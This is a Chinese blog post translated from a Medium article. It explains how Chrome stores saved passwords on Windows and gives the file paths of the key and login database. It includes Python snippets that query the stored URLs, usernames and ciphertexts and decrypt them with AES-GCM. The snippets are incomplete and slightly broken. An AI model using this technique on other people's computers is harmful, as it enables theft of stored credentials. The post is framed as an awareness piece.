• 那是从何处传来的钟声呢?偶尔听到那钟声,平添一份喜悦与向往之情。

如何使用Python破解Chrome密码?

未分类 Nanait 2年前 (2022-08-15) 1241次浏览 已收录 0个评论 扫描二维码

你认为将密码存储在 Chrome 中是否安全?简短的回答是“不”。任何有权访问您的笔记本电脑的犯罪者都可以在几秒钟内解密你的所有密码。

便利是有代价的

不可否认,在 Chrome 中保存密码很方便。它可以帮助您自动登录您的网站,同时确保您的密码已加密。肇事者访问您的加密网站密码的唯一方法是拥有您的笔记本电脑用户名和密码。

如何使用 Python 破解 Chrome 密码?在 Windows 登录提示中输入您的用户名和密码以解密网站密码

虚假的安全感

说实话,Windows 登录提示是一个弱安全功能。你有没有想过 Chrome 如何在没有任何提示的情况下自动填写密码字段?这是因为 Chrome 已将您的密码保存在应用程序中的其他位置。

值得注意的是,他们没有在安全的位置保存。

解密 Chrome 密码的步骤

  1. 查找加密密钥

第 1 步:查找加密密钥

C:\Users\<PC Name>\AppData\Local\Google\Chrome\User Data\Local State

如何使用 Python 破解 Chrome 密码?使用记事本编辑器,您可以轻松找到加密的密钥

瞧!您已找到用于解密已保存密码的密钥。

第 2 步:查找加密的密码

C:\Users\<PC Name>\AppData\Local\Google\Chrome\User Data\Default\Login Data
#Chrome username & password file path
chrome_path_login_db = "C:\Users\<PC Name>\AppData\Local\Google\Chrome\User Data\Default\Login Data"
shutil.copy2(chrome_path_login_db, "Loginvault.db") #Connect to sqlite database
sqlite3.connect("Loginvault.db")
cursor = conn.cursor()#Select statement to retrieve info 
cursor.execute("SELECT action_url, username_value, password_value FROM logins")
for index,login in enumerate(cursor.fetchall()):
    url = login[0]
    username = login[1]
    ciphertext= login[2]
    print("Url:",url)
    print("Username",username)
    print("Cipher Text",ciphertext)

如何使用 Python 破解 Chrome 密码?

如何使用 Python 破解 Chrome 密码?初始化向量和加密密码的位置

AES 加密流程图如何使用 Python 破解 Chrome 密码?AES 加密流程图

在 AES 之后,加密的密钥存储在本地状态文件中,而加密的密码与初始化向量连接并作为密文存储在 SQLite3 数据库中

如何使用 Python 破解 Chrome 密码?加密密钥和密文存储位置

#Step 1: Extracting initilisation vector from ciphertext
initialisation_vector = ciphertext[3:15]#Step 2: Extracting encrypted password from ciphertext
encrypted_password = ciphertext[15:-16]#Step 3:Build the AES algorithm to decrypt the password
cipher = AES.new(secret_key, AES.MODE_GCM, initialisation_vector)
decrypted_pass = cipher.decrypt(encrypted_password)
decrypted_pass = decrypted_pass.decode()#Step 4: Decrypted Password
print(decrypted_pass)

如何使用 Python 破解 Chrome 密码?代码执行后的结果

翻译自:https://ohyicong.medium.com/how-to-hack-chrome-password-with-python-1bedc167be3d


何处钟 , 版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明原文链接:如何使用 Python 破解 Chrome 密码?
喜欢 (1)
[15211539367@163.com]
分享 (0)

您必须 登录 才能发表评论!